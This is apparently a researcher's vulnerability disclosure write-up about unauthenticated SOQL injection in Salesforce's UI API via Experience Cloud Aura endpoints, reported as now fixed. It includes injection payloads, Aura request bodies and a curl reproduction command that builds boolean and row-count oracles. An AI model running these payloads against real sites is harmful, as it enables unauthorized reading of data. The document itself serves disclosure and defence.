Post

Unauthenticated SOQL Injection in the Salesforce UI API

Two parameters in Salesforce's User Interface API let an unauthenticated guest inject SOQL into platform-generated queries through any Experience Cloud site.

Unauthenticated SOQL Injection in the Salesforce UI API

Summary

Two parameters in Salesforce’s User Interface API let an unauthenticated visitor inject SOQL into queries the platform builds. Any Experience Cloud site with an active guest user exposed them through its public Aura endpoint, with no session or token required.

Salesforce Security confirmed it reproduced the issue, and it is now fixed server-side. Salesforce hasn’t published an advisory or assigned a CVE, so I’m requesting one from MITRE.

At a glance

FieldDetail
ProductSalesforce Platform, User Interface API (Experience Cloud)
EndpointPOST /s/sfsites/aura?r=1
ControllersListUiController.getListRecordsByName, RelatedListUiController.getRelatedListRecords, RecordUiController.getRecordWithFields
AuthenticationNone: aura.token=null, no cookies, no session
WeaknessCWE-943, Improper Neutralization of Special Elements in Data Query Logic
CVEPending, requested from the MITRE CNA of Last Resort
StatusFixed server-side

Background

Experience Cloud sites run on Aura, the framework behind Lightning. Each site exposes an endpoint at /s/sfsites/aura that takes a JSON message listing controller actions and their parameters. A guest visitor’s request carries aura.token=null and no cookies.

The actions below are the Aura-side controllers for the User Interface API. They build SOQL from the caller’s parameters and run it in the guest user’s context, so anything that reaches them unescaped reaches the query.

Finding 1: SOQL injection via the where filter

getRelatedListRecords and getListRecordsByName both take a where parameter, a JSON string of the form {"Field": {"eq": "value"}}. The field name is validated. The value is inserted into the generated query without escaping.

Breaking the string literal

Request (action 3;a, aura.token=null):

1
2
3
4
5
{"id":"3;a","descriptor":"aura://RelatedListUiController/ACTION$getRelatedListRecords",
 "callingDescriptor":"UNKNOWN",
 "params":{"parentRecordId":"<publicRecordId>","relatedListId":"TopicAssignments",
           "pageSize":5,"fields":["TopicAssignment.Id"],"optionalFields":[],
           "where":"{\"EntityId\": {\"eq\": \"a'\"}}"}}

Response:

1
2
3
4
5
MALFORMED_QUERY:
TopicAssignments WHERE EntityId = 'a'' ORDER BY Id ASC NULLS FIRST LIMIT
                                    ^
ERROR at Row:1:Column:100
unexpected token: '''

The apostrophe closed the string literal, and the error echoed the generated SOQL back. It was the only character that did. Double quotes, ), spaces, \, %, ,, : and + all passed through the same parameter without a parser error.

Injected predicates execute

1
2
where value: a' AND ArticleNumber = '000002063     ->  1 row
where value: a' AND ArticleNumber = 'zzzzzz        ->  0 rows

The injected condition runs as part of the query and changes the result set, which gives a boolean oracle.

Injected content reaches semantic analysis

1
MALFORMED_QUERY: Semi join sub-selects are not allowed with the 'OR' operator

Semi-joins, spanning filters and IN lists all execute. Unknown column names come back inside the echoed query with a column offset, which gives a field-existence oracle.

The same bug in getListRecordsByName

A longer injected predicate lands in the generated WHERE clause:

1
2
3
4
5
INVALID_FIELD:
ArticleNumber = '000001834' AND ZzQqNo != null AND ArticleNumber
                                ^
ERROR at Row:1:Column:369
No such column 'ZzQqNo' on entity 'Knowledge__kav'.

Caller content also surfaces in the ORDER BY position on the same controller:

1
2
MALFORMED_QUERY:
'en_US' ORDER BY Title NULLS LAST, (SELECT Id FROM TopicAssignments)

REST equivalent

The related-list controller backs GET /ui-api/related-list-records/{recordId}/{relatedListId}. The response’s own currentPageUrl confirms it:

1
"currentPageUrl": "/services/data/v67.0/ui-api/related-list-records/<recordId>/CaseArticles?pageSize=50&pageToken=0"

Finding 2: subquery injection via fields

fields is documented as a comma-delimited list of ObjectApiName.FieldName. Entries aren’t validated against the object’s describe metadata. getRecordWithFields and getListRecordsByName both accept them.

1
2
3
4
5
{"id":"1;a","descriptor":"aura://RecordUiController/ACTION$getRecordWithFields",
 "callingDescriptor":"UNKNOWN",
 "params":{"recordId":"<publicRecordId>",
           "fields":["Knowledge__kav.(SELECT Id FROM TopicAssignments WHERE Id = null)"],
           "optionalFields":[]}}

The platform parses the subquery and resolves TopicAssignments as a child relationship instead of rejecting it as an unknown field. The response differs depending on whether the subquery matched rows, which gives a row-count oracle.

Impact

The demonstrated impact is oracle-based. An unauthenticated attacker could add conditions and subqueries to platform-generated queries and read the answers back as row counts and error messages. That is enough to enumerate field names and test values one condition at a time.

This is injection into queries the platform runs for unauthenticated visitors. The attacker controls the query’s filters and subqueries, and the boolean and row-count oracles turn that into a way to read any value those queries can reach.

If you run an Experience Cloud site with guest access, review what the guest user profile can read and which sharing rules open records to guests. Anything readable there was in reach of these oracles before the fix, and Salesforce hasn’t said when the fix shipped.

Reproduction

These steps worked before the fix and no longer reproduce. You need an Experience Cloud site with an active guest user and at least one guest-readable record.

1
2
3
4
curl -s 'https://<community-host>/s/sfsites/aura?r=1' \
  --data-urlencode 'message={"actions":[{"id":"3;a","descriptor":"aura://RelatedListUiController/ACTION$getRelatedListRecords","callingDescriptor":"UNKNOWN","params":{"parentRecordId":"<publicRecordId>","relatedListId":"TopicAssignments","pageSize":5,"fields":["TopicAssignment.Id"],"optionalFields":[],"where":"{\"EntityId\": {\"eq\": \"a'"'"'\"}}"}}]}' \
  --data-urlencode 'aura.context={"mode":"PROD","fwuid":"<current>","app":"siteforce:communityApp","loaded":{"APPLICATION@markup://siteforce:communityApp":"<current>"},"dn":[],"globals":{},"uad":false}' \
  --data 'aura.token=null&aura.pageURI=/s/'
  1. The request returns MALFORMED_QUERY with the generated SOQL echoed.
  2. Replace a' with a", a), a\, a%, a,, a: or a+. None of them cause a parser error.
  3. Replace it with a' AND <IndexedField> = '<existing-value>, then with <absent-value>. The row counts differ.
  4. For Finding 2, send the getRecordWithFields body above.

fwuid and the app version token must be current. A stale pair returns markup://aura:clientOutOfSync for every action.

Timeline

  1. Found while testing a Salesforce Experience Cloud site.
  2. The site owner’s security team reproduced it, confirmed both controllers are platform-native with no customer code in the path, and referred it to Salesforce.
  3. Reported to Salesforce Security.
  4. Salesforce Security confirmed it reproduced the findings, said engineering was working on a fix, and closed the case.
  5. Followed up three times with no reply.
  6. Fix observed; the injection no longer reproduces.
  7. Published this writeup and requested a CVE ID from the MITRE CNA of Last Resort.

Disclosure notes

Salesforce Security’s reply confirmed the issue:

Salesforce security team has received the finding(s) and was able to reproduce them. The Engineering team is working to fix the issue reported.

The same message marked the case complete. Salesforce’s Vulnerability Reporting Policy commits to notifying reporters when a vulnerability has been fixed. I didn’t receive that notice, and my three follow-ups went unanswered.

Salesforce is a CVE Numbering Authority and hasn’t assigned a CVE for this issue. Rule 4.2.3 of the CNA Operational Rules says a cloud-only product can’t be the sole reason to decline, so I’m requesting an ID from the MITRE CNA of Last Resort. I’ll update this post when it’s assigned.

Discovered and reported by r.

This post is licensed under CC BY 4.0 by the author.